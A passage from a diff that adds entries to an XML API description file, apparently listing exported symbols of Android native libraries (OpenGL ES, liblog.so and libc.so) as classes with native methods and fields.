+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetRenderbuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCreateShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEndTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDisableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEnableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramBinaryOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCreateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStartTilingQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBooleanv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUseProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteShader" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderPrecisionFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEndPerfMonitorAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glValidateProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glIsFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointervOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMaskSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDiscardFramebufferEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetFramebuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glFrontFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetFenceivNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glHint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glScissor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glLinkProgram" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexLevelParameterivQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glExtIsProgramBinaryQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glBindAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glDeletePerfMonitorsAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glGetShaderInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="liblog.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_is_loggable_len" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_is_loggable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_assert" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_print" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__android_log_vprint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBLOG" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBLOG_O" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="LIBLOG_M" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ </class>
+ <class abstract="false" deprecated="not deprecated" final="true" name="libc.so" static="false" visibility="public">
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassifyd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vfprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkdirat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sched_setparam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="srandom" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassifyf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="in6addr_any" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="epoll_create1" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="grantpt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="settimeofday" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strncasecmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfsetispeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutex_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_unlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fpclassifyl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vasprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strlen_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getpriority" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strtoll_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="geteuid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strndup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkstemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__dn_comp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswprint" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="prctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setpwent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="posix_fadvise64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wctype" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__sendto_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towctrans_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__freadable" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="get_nprocs_conf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswalnum_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_destroy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__pthread_cleanup_push" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setservent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_tolower" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstatvfs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getrlimit64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="malloc_usable_size" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmemcmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="closedir" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setsockopt" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswxdigit_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkfifoat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clearerr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="localtime_r" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetln" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="psiginfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fsetpos" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigsetmask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getaddrinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_getname_np" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcscoll" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__dn_skipname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="dup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fflush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="stderr" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <field deprecated="not deprecated" final="true" name="sys_signame" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getitimer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_rdlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fstat64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isnan" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getservbyport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__loc_aton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getnetbyaddr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setmntent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__res_dnok" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_spin_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="epoll_pwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="localeconv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="putc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="shutdown" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="cfsetospeed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fchmodat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="if_freenameindex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="in6addr_loopback" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="inet_pton" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="drand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="calloc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswctype_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setregid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="srand48" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="puts" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strdup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsnlen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswpunct_l" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_barrierattr_getpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgetc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pwrite" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fopen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_mutexattr_setpshared" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkdtemp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="optind" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcstoumax" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="semop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_resolv_delete_cache_for_net" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mkostemps64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__vsnprintf_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigsetjmp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pwritev" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="mallinfo" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vfscanf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsrchr" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fgets" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcslen" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="preadv64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="vsnprintf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sigset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="fork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_key_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="scandir64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isgraph" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_kill" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_wrlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="strlcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__fp_nquery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_attr_getstacksize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="lockf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="sem_timedwait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__read_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__system_property_get" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getgroups" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="tmpnam" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="endgrent" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strncpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="htonl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_rwlock_init" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="openat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <field deprecated="not deprecated" final="true" name="LIBC" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="creat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__stack_chk_fail" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="readlink" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="isspace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="__strcpy_chk" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="htons" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcswidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="iswalpha" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="nice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="gai_strerror" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="difftime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="klogctl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="msync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="towctrans" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wcsftime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="ftw" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="clock_gettime" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="wmemcpy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getauxval" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="_getlong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="memset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="getrlimit" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="pthread_cond_broadcast" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="setresgid" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+ <method abstract="false" deprecated="not deprecated" final="true" name="utmpname" native="true" return="na" static="false" synchronized="true" visibility="public"/>
